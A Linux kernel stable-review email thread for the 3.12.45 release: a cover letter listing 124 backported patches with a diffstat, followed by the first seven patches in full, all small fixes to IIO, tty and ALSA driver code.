[PATCH 3.12 000/124] 3.12.45-stable review

[PATCH 3.12 000/124] 3.12.45-stable review

[Jiri Slaby]

This is the start of the stable review cycle for the 3.12.45 release.
There are 124 patches in this series, all will be posted as a response
to this one.  If anyone has any issues with these being applied, please
let me know.

Responses should be made by Thu Jul 30 11:41:24 CEST 2015.
Anything received after that time might be too late.

The whole patch series can be found in one patch at:
	http://kernel.org/pub/linux/kernel/people/jirislaby/stable-review/patch-3.12.45-rc1.xz
and the diffstat can be found below.

thanks,
js

===============


Aaro Koskinen (1):
  pata_octeon_cf: fix broken build

Adam Jackson (1):
  drm/mgag200: Reject non-character-cell-aligned mode widths

Al Viro (2):
  uninline destroy_super(), consolidate alloc_super()
  get rid of s_files and files_lock

Alexander Sverdlin (1):
  sctp: Fix race between OOTB responce and route removal

Andrew Duggan (1):
  HID: multitouch: add support for Win 8.1 multitouch touchpads

Andy Lutomirski (1):
  x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers

Anton Blanchard (1):
  powerpc/perf: Fix book3s kernel to userspace backtraces

Arun Chandran (1):
  regmap: Fix regmap_bulk_read in BE mode

Axel Lin (1):
  iio: adc: twl6030-gpadc: Fix modalias

Bandan Das (1):
  KVM: nSVM: Check for NRIPS support before updating control field

Ben Hutchings (1):
  pipe: iovec: Fix memory corruption when retrying atomic copy as
    non-atomic

Bjorn Helgaas (2):
  x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A
  x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing

Brian King (1):
  ipr: Increase default adapter init stage change timeout

Brian Norris (1):
  mtd: fix: avoid race condition when accessing mtd->usecount

Catalin Marinas (1):
  arm64: Do not attempt to use init_mm in reset_context()

Chen Gang (1):
  netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid
    warnings

Chengyu Song (1):
  btrfs: incorrect handling for fiemap_fill_next_extent return

Chris Wilson (2):
  drm/i915: Handle failure to kick out a conflicting fb driver
  drm/i915: Evict CS TLBs between batches

Christian Vogel (2):
  usb/misc/usbled: Add Riso Kagaku Webmail Notifier
  usbhid/quirks: Ignore Riso Kagaku Webmail Notifier

Christoph Hellwig (1):
  revert "softirq: Add support for triggering softirq work on softirqs"

Clemens Ladisch (1):
  ALSA: usb-audio: add MAYA44 USB+ mixer control names

Dan Williams (1):
  block: fix ext_dev_lock lockdep report

Daniel Vetter (1):
  drm/i915: drop WaSetupGtModeTdRowDispatch:snb

Dave P Martin (1):
  arm64: mm: Fix freeing of the wrong memmap entries with
    !SPARSEMEM_VMEMMAP

David Herrmann (1):
  HID: hyperv: make sure input buffer is big enough

Dinesh Ram (1):
  [media] si4713: HID blacklist Si4713 USB development board

Dmitry Tunin (3):
  ath3k: Add support of 0489:e076 AR3012 device
  ath3k: add support of 13d3:3474 AR3012 device
  Bluetooth: ath3k: add support of 04ca:300f AR3012 device

Eric Dumazet (1):
  packet: read num_members once in packet_rcv_fanout()

Eric W. Biederman (2):
  vfs: Remove incorrect debugging WARN in prepend_path
  vfs: Ignore unlocked mounts in fs_fully_visible

Eugene Shatokhin (1):
  kprobes/x86: Return correct length in __copy_instruction()

Ezequiel Garcia (1):
  spi: pl022: Specify 'num-cs' property as required in devicetree
    binding

Filipe Manana (1):
  Btrfs: make xattr replace operations atomic

Forest Wilkinson (1):
  HID: tivo: enable all buttons on the TiVo Slide Pro remote

Frank Praznik (1):
  HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote

Grygorii Strashko (1):
  leds / PM: fix hibernation on arm when gpio-led used with CPU led
    trigger

Gu Zheng (1):
  mm/memory_hotplug.c: set zone->wait_table to null after freeing it

Guennadi Liakhovetski (1):
  ARM: shmobile: wait for MSTP clock status to toggle, when enabling it

Hans de Goede (2):
  Input: elantech - fix detection of touchpads where the revision
    matches a known rate
  HID: Add some missing HUT mappings

Horia Geant? (2):
  crypto: talitos - avoid memleak in talitos_alg_alloc()
  Revert "crypto: talitos - convert to use be16_add_cpu()"

Huei-Horng Yo (1):
  HID: apple: add Apple wireless keyboard 2011 JIS model support

James Hogan (2):
  MIPS: Fix enabling of DEBUG_STACKOVERFLOW
  MIPS: Fix KVM guest fixmap address

James Smart (1):
  lpfc: Add iotag memory barrier

Jan Kara (3):
  udf: Remove repeated loads blocksize
  udf: Check length of extended attributes and allocation descriptors
  fs: Fix S_NOSEC handling

Jani Nikula (1):
  drm/i915: Fix DDC probe for passive adapters

Jason A. Donenfeld (3):
  ozwpan: Use proper check to prevent heap overflow
  ozwpan: divide-by-zero leading to panic
  ozwpan: unchecked signed subtraction leads to DoS

Jeff Mahoney (1):
  btrfs: cleanup orphans while looking up default subvolume

Jesse Barnes (1):
  drm/i915: save/restore GMBUS freq across suspend/resume on gen4

Jim Bride (1):
  drm/i915/hsw: Fix workaround for server AUX channel clock divisor

Joerg Roedel (1):
  iommu/amd: Handle large pages correctly in free_pagetable

Johannes Berg (1):
  cfg80211: wext: clear sinfo struct before calling driver

John D. Blair (1):
  USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle

John DeSilva (1):
  HID: Add Holtek USB ID 04d9:a0c2 ETEKCITY Scroll

Julian Anastasov (1):
  neigh: do not modify unlinked entries

Jérôme Glisse (1):
  drm/radeon: fix freeze for laptop with Turks/Thames GPU.

Kazuya Mizuguchi (1):
  usb: renesas_usbhs: Fix fifo unclear in usbhsf_prepare_pop

Kharlamov Alexey (1):
  HID: hid-holtek-mouse: add new a070 mouse

Kristian Evensen (1):
  HID: do not bind to Microchip Pick16F1454

Lars-Peter Clausen (1):
  iio: adis16400: Report pressure channel scale

Laura Abbott (1):
  n_tty: Fix auditing support for cannonical mode

Lenny Szubowicz (1):
  cpufreq: pcc: Enable autoload of pcc-cpufreq for ACPI processors

Lukasz Majewski (1):
  thermal: step_wise: fix: Prevent from binary overflow when trend is
    dropping

Marc Zyngier (1):
  arm: KVM: force execution of HCPTR access on VM exit

Marcelo Ricardo Leitner (1):
  sctp: fix ASCONF list handling

Mark Brown (1):
  ASoC: imx-audmux: Use uintptr_t for port numbers

Mark Hambleton (1):
  arm64: cmpxchg: update macros to prevent warnings

Maxime Coquelin (1):
  regmap: Fix possible shift overflow in regmap_field_init()

Milan Plzik (1):
  HID: kye: Fix report descriptor for Genius PenSketch M912

Nikolay Aleksandrov (2):
  bridge: fix multicast router rlist endless loop
  bridge: fix br_stp_set_bridge_priority race conditions

Olivier Gay (1):
  HID: add missing hid usages

Patrick Plattes (1):
  HID: ignore jabra gn9350e

Patrick Riphagen (1):
  USB: serial: ftdi_sio: Add support for a Motion Tracker Development
    Board

Paul Cercueil (2):
  iio: adis16400: Use != channel indices for the two voltage channels
  iio: adis16400: Compute the scan mask from channel indices

Paul E. McKenney (1):
  rcu: Correctly handle non-empty Tiny RCU callback list with none ready

Peter Hutterer (1):
  Input: synaptics - add min/max quirk for Lenovo S540

Philipp Zabel (1):
  serial: imx: Fix DMA handling for IDLE condition aborts

Ping Cheng (1):
  HID: core: add two new usages for digitizer

Radim Krčmář (1):
  KVM: x86: make vapics_in_nmi_mode atomic

Rafael J. Wysocki (1):
  cpuidle / menu: Return (-1) if there are no suitable states

Rajat Jain (1):
  PCI: pciehp: Add hotplug_lock to serialize hotplug events

Ryan Underwood (1):
  Disable write buffering on Toshiba ToPIC95

Sebastien Szymanski (1):
  ARM: clk-imx6q: refine sata's parent

Shaohua Li (1):
  net: don't wait for order-3 page allocation

Simon Wood (1):
  HID: hid-lg4ff: Support new version of G27

Sowmini Varadhan (1):
  sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in
    softirq context

Srinivas Pandruvada (1):
  HID: hid-sensor-hub: fix sleeping function called from invalid context

Stefan Wahren (1):
  regulator: core: fix constraints output buffer

Stephen M. Cameron (1):
  hpsa: fix a couple pci id table mistakes

Steve Cornelius (1):
  crypto: caam - fix RNG buffer cache alignment

Steven Rostedt (1):
  tracing: Have filter check for balanced ops

Takashi Iwai (3):
  ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
  ALSA: hda - Add headset support to Acer Aspire V5
  ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780

Tim Gardner (2):
  scripts/sortextable: suppress warning: `relocs_size' may be used
    uninitialized
  fs: namespace: suppress 'may be used uninitialized' warnings

Tomas Sokorai (1):
  HID: multitouch: add support of EliteGroup 05D8 panels

Uwe Kleine-König (1):
  mtd: dc21285: use raw spinlock functions for nw_gpio_lock

Vineet Gupta (1):
  ARC: add compiler barrier to LLSC based cmpxchg

Wang Long (1):
  ring-buffer-benchmark: Fix the wrong sched_priority of producer

Webb Scales (1):
  hpsa: correct off-by-one sizing of chained SG block

Wen-chien Jesse Sung (1):
  Bluetooth: ath3k: Add a new ID 0cf3:e006 to ath3k list

Will Deacon (2):
  arm64: xchg: prevent warning if return value is unused
  arm64: vdso: work-around broken ELF toolchains in Makefile

Willem de Bruijn (1):
  packet: avoid out of bounds read in round robin fanout

Wolfram Sang (1):
  ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion

Yann Droneaud (1):
  arm64/mm: Remove hack in mmap randomize layout

Yoshihiro Shimoda (2):
  usb: renesas_usbhs: Don't disable the pipe if Control write status
    stage
  thermal: rcar: fix ENR register value

huaibin Wang (1):
  xfrm: release dst_orig in case of error in xfrm_lookup()

 .../devicetree/bindings/spi/spi_pl022.txt          |   2 +-
 arch/arc/include/asm/cmpxchg.h                     |   9 +-
 arch/arm/kvm/interrupts.S                          |  10 +-
 arch/arm/kvm/interrupts_head.S                     |  20 +-
 arch/arm/mach-imx/clk-imx6q.c                      |   2 +-
 arch/arm64/include/asm/cmpxchg.h                   |  35 ++--
 arch/arm64/kernel/vdso/Makefile                    |   4 +
 arch/arm64/mm/context.c                            |   8 +
 arch/arm64/mm/init.c                               |   2 +-
 arch/arm64/mm/mmap.c                               |  12 +-
 arch/mips/include/asm/mach-generic/spaces.h        |   4 +
 arch/mips/kernel/irq.c                             |   2 +-
 arch/powerpc/perf/core-book3s.c                    |  11 +-
 arch/sparc/kernel/ldc.c                            |   2 +-
 arch/x86/include/asm/kvm_host.h                    |   2 +-
 arch/x86/include/asm/segment.h                     |  13 +-
 arch/x86/kernel/head64.c                           |   2 +-
 arch/x86/kernel/head_32.S                          |  33 ++--
 arch/x86/kernel/head_64.S                          |  20 +-
 arch/x86/kernel/kprobes/core.c                     |   7 +-
 arch/x86/kvm/i8254.c                               |   2 +-
 arch/x86/kvm/lapic.c                               |   4 +-
 arch/x86/kvm/svm.c                                 |   8 +-
 arch/x86/pci/acpi.c                                |  17 +-
 block/genhd.c                                      |  12 +-
 drivers/ata/pata_octeon_cf.c                       |   2 +-
 drivers/base/regmap/regmap.c                       |   8 +-
 drivers/bluetooth/ath3k.c                          |   8 +
 drivers/bluetooth/btusb.c                          |   4 +
 drivers/cpufreq/pcc-cpufreq.c                      |   7 +
 drivers/cpuidle/cpuidle.c                          |   3 +
 drivers/cpuidle/governors/menu.c                   |   2 +-
 drivers/crypto/caam/caamrng.c                      |   2 +-
 drivers/crypto/talitos.c                           |   4 +-
 drivers/gpu/drm/i915/i915_dma.c                    |  19 +-
 drivers/gpu/drm/i915/i915_drv.h                    |   1 +
 drivers/gpu/drm/i915/i915_reg.h                    |  13 +-
 drivers/gpu/drm/i915/i915_suspend.c                |   8 +
 drivers/gpu/drm/i915/intel_dp.c                    |   5 +-
 drivers/gpu/drm/i915/intel_i2c.c                   |  20 +-
 drivers/gpu/drm/i915/intel_pm.c                    |   5 -
 drivers/gpu/drm/i915/intel_ringbuffer.c            |  66 ++++---
 drivers/gpu/drm/mgag200/mgag200_mode.c             |   5 +
 drivers/gpu/drm/radeon/radeon_device.c             |  16 ++
 drivers/hid/hid-apple.c                            |   3 +
 drivers/hid/hid-core.c                             |  10 +
 drivers/hid/hid-debug.c                            |  12 ++
 drivers/hid/hid-holtek-mouse.c                     |   7 +
 drivers/hid/hid-hyperv.c                           |  11 +-
 drivers/hid/hid-ids.h                              |  18 ++
 drivers/hid/hid-input.c                            |  22 +++
 drivers/hid/hid-kye.c                              | 140 ++++++++++++++
 drivers/hid/hid-lg4ff.c                            |   2 +
 drivers/hid/hid-multitouch.c                       |  16 +-
 drivers/hid/hid-sensor-hub.c                       |   7 +-
 drivers/hid/hid-sony.c                             |   3 +
 drivers/hid/hid-tivo.c                             |   1 +
 drivers/hid/usbhid/hid-quirks.c                    |   1 +
 drivers/iio/adc/twl6030-gpadc.c                    |   2 +-
 drivers/iio/imu/adis16400.h                        |   1 +
 drivers/iio/imu/adis16400_core.c                   |  38 ++--
 drivers/input/mouse/elantech.c                     |   7 +-
 drivers/input/mouse/synaptics.c                    |   6 +-
 drivers/iommu/amd_iommu.c                          |   6 +
 drivers/leds/led-class.c                           |   7 +-
 drivers/mtd/maps/dc21285.c                         |   4 +-
 drivers/mtd/mtd_blkdevs.c                          |   5 +
 drivers/pci/hotplug/pciehp.h                       |   1 +
 drivers/pci/hotplug/pciehp_core.c                  |   7 +-
 drivers/pci/hotplug/pciehp_ctrl.c                  |  17 +-
 drivers/pci/hotplug/pciehp_hpc.c                   |   1 +
 drivers/pcmcia/topic.h                             |  16 ++
 drivers/regulator/core.c                           |   2 +-
 drivers/scsi/hpsa.c                                |   6 +-
 drivers/scsi/ipr.h                                 |   2 +-
 drivers/scsi/lpfc/lpfc_sli.c                       |  21 +++
 drivers/sh/clk/cpg.c                               |  38 ++++
 drivers/staging/ozwpan/ozusbsvc1.c                 |  19 +-
 drivers/thermal/rcar_thermal.c                     |  11 +-
 drivers/thermal/step_wise.c                        |   2 +-
 drivers/tty/n_tty.c                                |  17 +-
 drivers/tty/serial/imx.c                           |   8 +
 drivers/usb/misc/usbled.c                          |  34 ++++
 drivers/usb/renesas_usbhs/fifo.c                   |  14 +-
 drivers/usb/serial/cp210x.c                        |   1 +
 drivers/usb/serial/ftdi_sio.c                      |   1 +
 drivers/usb/serial/ftdi_sio_ids.h                  |   1 +
 fs/btrfs/ctree.c                                   |   2 +-
 fs/btrfs/ctree.h                                   |   5 +
 fs/btrfs/dir-item.c                                |  10 +-
 fs/btrfs/extent_io.c                               |   5 +-
 fs/btrfs/super.c                                   |   9 +
 fs/btrfs/xattr.c                                   | 150 +++++++++------
 fs/compat.c                                        |  10 +-
 fs/dcache.c                                        |  11 --
 fs/file_table.c                                    | 125 -------------
 fs/inode.c                                         |   4 +-
 fs/internal.h                                      |   5 +-
 fs/namespace.c                                     |  34 ++--
 fs/open.c                                          |   2 -
 fs/pipe.c                                          |  55 +++---
 fs/super.c                                         | 201 ++++++++-------------
 fs/udf/inode.c                                     |  28 +--
 include/linux/fs.h                                 |  13 --
 include/linux/hid.h                                |   7 +-
 include/linux/interrupt.h                          |  22 ---
 include/linux/sh_clk.h                             |  19 +-
 include/net/dst.h                                  |   1 +
 include/net/netns/sctp.h                           |   1 +
 include/net/sctp/structs.h                         |   4 +
 include/uapi/linux/input.h                         |  17 +-
 kernel/rcutiny.c                                   |   5 +
 kernel/softirq.c                                   | 131 --------------
 kernel/trace/ring_buffer_benchmark.c               |   2 +-
 kernel/trace/trace_events_filter.c                 |  10 +-
 mm/memory_hotplug.c                                |   4 +-
 net/bridge/br_ioctl.c                              |   2 -
 net/bridge/br_multicast.c                          |   7 +-
 net/bridge/br_stp_if.c                             |   4 +-
 net/core/neighbour.c                               |  11 ++
 net/core/skbuff.c                                  |   4 +-
 net/core/sock.c                                    |   4 +-
 net/netfilter/nfnetlink_cthelper.c                 |   4 +-
 net/packet/af_packet.c                             |  20 +-
 net/sctp/output.c                                  |   4 +-
 net/sctp/socket.c                                  |  43 +++--
 net/wireless/wext-compat.c                         |   2 +
 net/xfrm/xfrm_policy.c                             |  12 +-
 scripts/sortextable.h                              |   2 +-
 sound/pci/hda/patch_realtek.c                      |  19 ++
 sound/soc/fsl/imx-audmux.c                         |   8 +-
 sound/usb/mixer.c                                  |   1 +
 sound/usb/mixer_maps.c                             |   5 +
 133 files changed, 1220 insertions(+), 813 deletions(-)

-- 
2.4.6

[PATCH 3.12 001/124] iio: adc: twl6030-gpadc: Fix modalias

[Jiri Slaby]

From: Axel Lin <axel.lin@ingics.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e5d732186270e0881f47d95610316c0614b21c3e upstream.

Remove extra space between platform prefix and DRIVER_NAME in MODULE_ALIAS.

Signed-off-by: Axel Lin <axel.lin@ingics.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/iio/adc/twl6030-gpadc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/iio/adc/twl6030-gpadc.c b/drivers/iio/adc/twl6030-gpadc.c
index 0ea96c058c08..01bdfdfc5ae6 100644
--- a/drivers/iio/adc/twl6030-gpadc.c
+++ b/drivers/iio/adc/twl6030-gpadc.c
@@ -1005,7 +1005,7 @@ static struct platform_driver twl6030_gpadc_driver = {
 
 module_platform_driver(twl6030_gpadc_driver);
 
-MODULE_ALIAS("platform: " DRIVER_NAME);
+MODULE_ALIAS("platform:" DRIVER_NAME);
 MODULE_AUTHOR("Balaji T K <balajitk@ti.com>");
 MODULE_AUTHOR("Graeme Gregory <gg@slimlogic.co.uk>");
 MODULE_AUTHOR("Oleksandr Kozaruk <oleksandr.kozaruk@ti.com");
-- 
2.4.6

[PATCH 3.12 002/124] iio: adis16400: Report pressure channel scale

[Jiri Slaby]

From: Lars-Peter Clausen <lars@metafoo.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.

Add the scale for the pressure channel, which is currently missing.

Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/iio/imu/adis16400_core.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c
index 70753bf23a86..33107934c21b 100644
--- a/drivers/iio/imu/adis16400_core.c
+++ b/drivers/iio/imu/adis16400_core.c
@@ -438,6 +438,11 @@ static int adis16400_read_raw(struct iio_dev *indio_dev,
 			*val = st->variant->temp_scale_nano / 1000000;
 			*val2 = (st->variant->temp_scale_nano % 1000000);
 			return IIO_VAL_INT_PLUS_MICRO;
+		case IIO_PRESSURE:
+			/* 20 uBar = 0.002kPascal */
+			*val = 0;
+			*val2 = 2000;
+			return IIO_VAL_INT_PLUS_MICRO;
 		default:
 			return -EINVAL;
 		}
-- 
2.4.6

[PATCH 3.12 003/124] iio: adis16400: Use != channel indices for the two voltage channels

[Jiri Slaby]

From: Paul Cercueil <paul.cercueil@analog.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7323d59862802ca109451eeda9777024a7625509 upstream.

Previously, the two voltage channels had the same ID, which didn't cause
conflicts in sysfs only because one channel is named and the other isn't;
this is still violating the spec though, two indexed channels should never
have the same index.

Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/iio/imu/adis16400_core.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c
index 33107934c21b..24144f62119e 100644
--- a/drivers/iio/imu/adis16400_core.c
+++ b/drivers/iio/imu/adis16400_core.c
@@ -485,10 +485,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev,
 	}
 }
 
-#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si) { \
+#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si, chn) { \
 	.type = IIO_VOLTAGE, \
 	.indexed = 1, \
-	.channel = 0, \
+	.channel = chn, \
 	.extend_name = name, \
 	.info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | \
 		BIT(IIO_CHAN_INFO_SCALE), \
@@ -504,10 +504,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev,
 }
 
 #define ADIS16400_SUPPLY_CHAN(addr, bits) \
-	ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY)
+	ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY, 0)
 
 #define ADIS16400_AUX_ADC_CHAN(addr, bits) \
-	ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC)
+	ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC, 1)
 
 #define ADIS16400_GYRO_CHAN(mod, addr, bits) { \
 	.type = IIO_ANGL_VEL, \
-- 
2.4.6

[PATCH 3.12 004/124] iio: adis16400: Compute the scan mask from channel indices

[Jiri Slaby]

From: Paul Cercueil <paul.cercueil@analog.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream.

We unfortunately can't use ~0UL for the scan mask to indicate that the
only valid scan mask is all channels selected. The IIO core needs the exact
mask to work correctly and not a super-set of it. So calculate the masked
based on the channels that are available for a particular device.

Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/iio/imu/adis16400.h      |  1 +
 drivers/iio/imu/adis16400_core.c | 25 ++++++++++++++++++-------
 2 files changed, 19 insertions(+), 7 deletions(-)

diff --git a/drivers/iio/imu/adis16400.h b/drivers/iio/imu/adis16400.h
index 0916bf6b6c31..1e8fd2e81d45 100644
--- a/drivers/iio/imu/adis16400.h
+++ b/drivers/iio/imu/adis16400.h
@@ -165,6 +165,7 @@ struct adis16400_state {
 	int				filt_int;
 
 	struct adis adis;
+	unsigned long avail_scan_mask[2];
 };
 
 /* At the moment triggers are only used for ring buffer
diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c
index 24144f62119e..ccfaf3af3974 100644
--- a/drivers/iio/imu/adis16400_core.c
+++ b/drivers/iio/imu/adis16400_core.c
@@ -824,11 +824,6 @@ static const struct iio_info adis16400_info = {
 	.debugfs_reg_access = adis_debugfs_reg_access,
 };
 
-static const unsigned long adis16400_burst_scan_mask[] = {
-	~0UL,
-	0,
-};
-
 static const char * const adis16400_status_error_msgs[] = {
 	[ADIS16400_DIAG_STAT_ZACCL_FAIL] = "Z-axis accelerometer self-test failure",
 	[ADIS16400_DIAG_STAT_YACCL_FAIL] = "Y-axis accelerometer self-test failure",
@@ -876,6 +871,20 @@ static const struct adis_data adis16400_data = {
 		BIT(ADIS16400_DIAG_STAT_POWER_LOW),
 };
 
+static void adis16400_setup_chan_mask(struct adis16400_state *st)
+{
+	const struct adis16400_chip_info *chip_info = st->variant;
+	unsigned i;
+
+	for (i = 0; i < chip_info->num_channels; i++) {
+		const struct iio_chan_spec *ch = &chip_info->channels[i];
+
+		if (ch->scan_index >= 0 &&
+		    ch->scan_index != ADIS16400_SCAN_TIMESTAMP)
+			st->avail_scan_mask[0] |= BIT(ch->scan_index);
+	}
+}
+
 static int adis16400_probe(struct spi_device *spi)
 {
 	struct adis16400_state *st;
@@ -899,8 +908,10 @@ static int adis16400_probe(struct spi_device *spi)
 	indio_dev->info = &adis16400_info;
 	indio_dev->modes = INDIO_DIRECT_MODE;
 
-	if (!(st->variant->flags & ADIS16400_NO_BURST))
-		indio_dev->available_scan_masks = adis16400_burst_scan_mask;
+	if (!(st->variant->flags & ADIS16400_NO_BURST)) {
+		adis16400_setup_chan_mask(st);
+		indio_dev->available_scan_masks = st->avail_scan_mask;
+	}
 
 	ret = adis_init(&st->adis, indio_dev, spi, &adis16400_data);
 	if (ret)
-- 
2.4.6

[PATCH 3.12 005/124] n_tty: Fix auditing support for cannonical mode

[Jiri Slaby]

From: Laura Abbott <labbott@fedoraproject.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 72586c6061ab8c23ffd9f301ed19782a44ff5f04 upstream.

Commit 32f13521ca68bc624ff6effc77f308a52b038bf0
("n_tty: Line copy to user buffer in canonical mode")
changed cannonical mode copying to use copy_to_user
but missed adding the call to the audit framework.
Add in the appropriate functions to get audit support.

Fixes: 32f13521ca68 ("n_tty: Line copy to user buffer in canonical mode")
Reported-by: Miloslav Trmač <mitr@redhat.com>
Signed-off-by: Laura Abbott <labbott@fedoraproject.org>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/tty/n_tty.c | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/n_tty.c b/drivers/tty/n_tty.c
index 632b0fb6b008..1352f9de1463 100644
--- a/drivers/tty/n_tty.c
+++ b/drivers/tty/n_tty.c
@@ -185,6 +185,17 @@ static int receive_room(struct tty_struct *tty)
 	return left;
 }
 
+static inline int tty_copy_to_user(struct tty_struct *tty,
+					void __user *to,
+					const void *from,
+					unsigned long n)
+{
+	struct n_tty_data *ldata = tty->disc_data;
+
+	tty_audit_add_data(tty, to, n, ldata->icanon);
+	return copy_to_user(to, from, n);
+}
+
 /**
  *	n_tty_set_room	-	receive space
  *	@tty: terminal
@@ -2070,12 +2081,12 @@ static int canon_copy_from_read_buf(struct tty_struct *tty,
 		    __func__, eol, found, n, c, size, more);
 
 	if (n > size) {
-		ret = copy_to_user(*b, read_buf_addr(ldata, tail), size);
+		ret = tty_copy_to_user(tty, *b, read_buf_addr(ldata, tail), size);
 		if (ret)
 			return -EFAULT;
-		ret = copy_to_user(*b + size, ldata->read_buf, n - size);
+		ret = tty_copy_to_user(tty, *b + size, ldata->read_buf, n - size);
 	} else
-		ret = copy_to_user(*b, read_buf_addr(ldata, tail), n);
+		ret = tty_copy_to_user(tty, *b, read_buf_addr(ldata, tail), n);
 
 	if (ret)
 		return -EFAULT;
-- 
2.4.6

[PATCH 3.12 006/124] ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420

[Jiri Slaby]

From: Takashi Iwai <tiwai@suse.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.

Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to
make the sound working like other Aspire models.

Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/pci/hda/patch_realtek.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c
index cd621d02a093..8c6997ff6d2a 100644
--- a/sound/pci/hda/patch_realtek.c
+++ b/sound/pci/hda/patch_realtek.c
@@ -2157,6 +2157,7 @@ static const struct hda_fixup alc882_fixups[] = {
 static const struct snd_pci_quirk alc882_fixup_tbl[] = {
 	SND_PCI_QUIRK(0x1025, 0x006c, "Acer Aspire 9810", ALC883_FIXUP_ACER_EAPD),
 	SND_PCI_QUIRK(0x1025, 0x0090, "Acer Aspire", ALC883_FIXUP_ACER_EAPD),
+	SND_PCI_QUIRK(0x1025, 0x0107, "Acer Aspire", ALC883_FIXUP_ACER_EAPD),
 	SND_PCI_QUIRK(0x1025, 0x010a, "Acer Ferrari 5000", ALC883_FIXUP_ACER_EAPD),
 	SND_PCI_QUIRK(0x1025, 0x0110, "Acer Aspire", ALC883_FIXUP_ACER_EAPD),
 	SND_PCI_QUIRK(0x1025, 0x0112, "Acer Aspire 9303", ALC883_FIXUP_ACER_EAPD),
-- 
2.4.6

[PATCH 3.12 007/124] ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion

[Jiri Slaby]

From: Wolfram Sang <wsa@the-dreams.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream.

Fix this from the logs:

usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
...
usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong.
usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1

Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/usb/mixer.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c
index 061be0e5fa5a..5ea5a18f3f58 100644
--- a/sound/usb/mixer.c
+++ b/sound/usb/mixer.c
@@ -891,6 +891,7 @@ static void volume_control_quirks(struct usb_mixer_elem_info *cval,
 	case USB_ID(0x046d, 0x081d): /* HD Webcam c510 */
 	case USB_ID(0x046d, 0x0825): /* HD Webcam c270 */
 	case USB_ID(0x046d, 0x0826): /* HD Webcam c525 */
+	case USB_ID(0x046d, 0x08ca): /* Logitech Quickcam Fusion */
 	case USB_ID(0x046d, 0x0991):
 	/* Most audio usb devices lie about volume resolution.
 	 * Most Logitech webcams have res = 384.
-- 
2.4.6

[PATCH 3.12 008/124] ALSA: usb-audio: add MAYA44 USB+ mixer control names

[Jiri Slaby]

From: Clemens Ladisch <clemens@ladisch.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

